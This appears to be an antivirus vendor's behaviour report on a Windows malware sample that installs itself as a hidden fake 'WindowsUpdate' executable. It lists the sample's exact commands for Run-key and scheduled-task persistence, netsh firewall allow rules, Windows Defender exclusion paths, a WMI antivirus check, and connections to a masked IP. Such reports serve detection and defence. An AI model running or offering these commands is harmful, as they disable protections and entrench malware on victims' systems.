Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] '<File name>' = '<Full path to file>'
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'sitef_system' = '%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\<File name>.lnk
- <SYSTEM32>\tasks\test
- %APPDATA%\microsoft\windows\start menu\programs\startup\sitef_system.lnk
Malicious functions
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="<File name>" dir=in action=allow program="<Full path to file>" enable=yes
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="<File name>" dir=out action=allow program="<Full path to file>" enable=yes
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="sitef_system" dir=in action=allow program="%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe" enable=yes
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="sitef_system" dir=out action=allow program="%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe" enable=yes
Modifies file system
Creates the following files
- %TEMP%\av_check.tmp
- <Current directory>\confs\day.txt
- %ALLUSERSPROFILE%\microsoft\windowsupdate\sitef_system.exe
- %ALLUSERSPROFILE%\microsoft\windowsupdate\cleanup.bat
- nul
- %ALLUSERSPROFILE%\microsoft\windowsupdate\confs\day.txt
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\microsoft\windowsupdate\sitef_system.exe
Deletes following files that it created itself
- %TEMP%\av_check.tmp
Substitutes the following files
- %TEMP%\av_check.tmp
Network activity
Connects to
- '5.##.75.158':443
- '5.##.75.158':55590
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\microsoft\windowsupdate\sitef_system.exe'
- '%ALLUSERSPROFILE%\microsoft\windowsupdate\sitef_system.exe' --guard 4620
Executes the following
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName /format:list > "%TEMP%\av_check.tmp" 2>nul
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName /format:list
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="<File name>" dir=in action=allow program="<Full path to file>" enable=yes
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="<File name>" dir=out action=allow program="<Full path to file>" enable=yes
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Current directory>\" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Current directory>\" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Test" /tr "\"<Full path to file>\"" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /c "%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\cleanup.bat"
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 5
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="sitef_system" dir=in action=allow program="%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe" enable=yes
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="sitef_system" dir=out action=allow program="%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe" enable=yes
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Test" /tr "\"%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe\"" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName /format:list > "%TEMP%\av_check.tmp" 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="<File name>" dir=in action=allow program="<Full path to file>" enable=yes' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="<File name>" dir=out action=allow program="<Full path to file>" enable=yes' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Current directory>\" /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /tn "Test" /tr "\"<Full path to file>\"" /sc onlogon /rl highest /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\cleanup.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="sitef_system" dir=in action=allow program="%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe" enable=yes' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="sitef_system" dir=out action=allow program="%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe" enable=yes' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\" /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /tn "Test" /tr "\"%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe\"" /sc onlogon /rl highest /f' (with hidden window)
- '%ALLUSERSPROFILE%\microsoft\windowsupdate\sitef_system.exe' --guard 4620' (with hidden window)
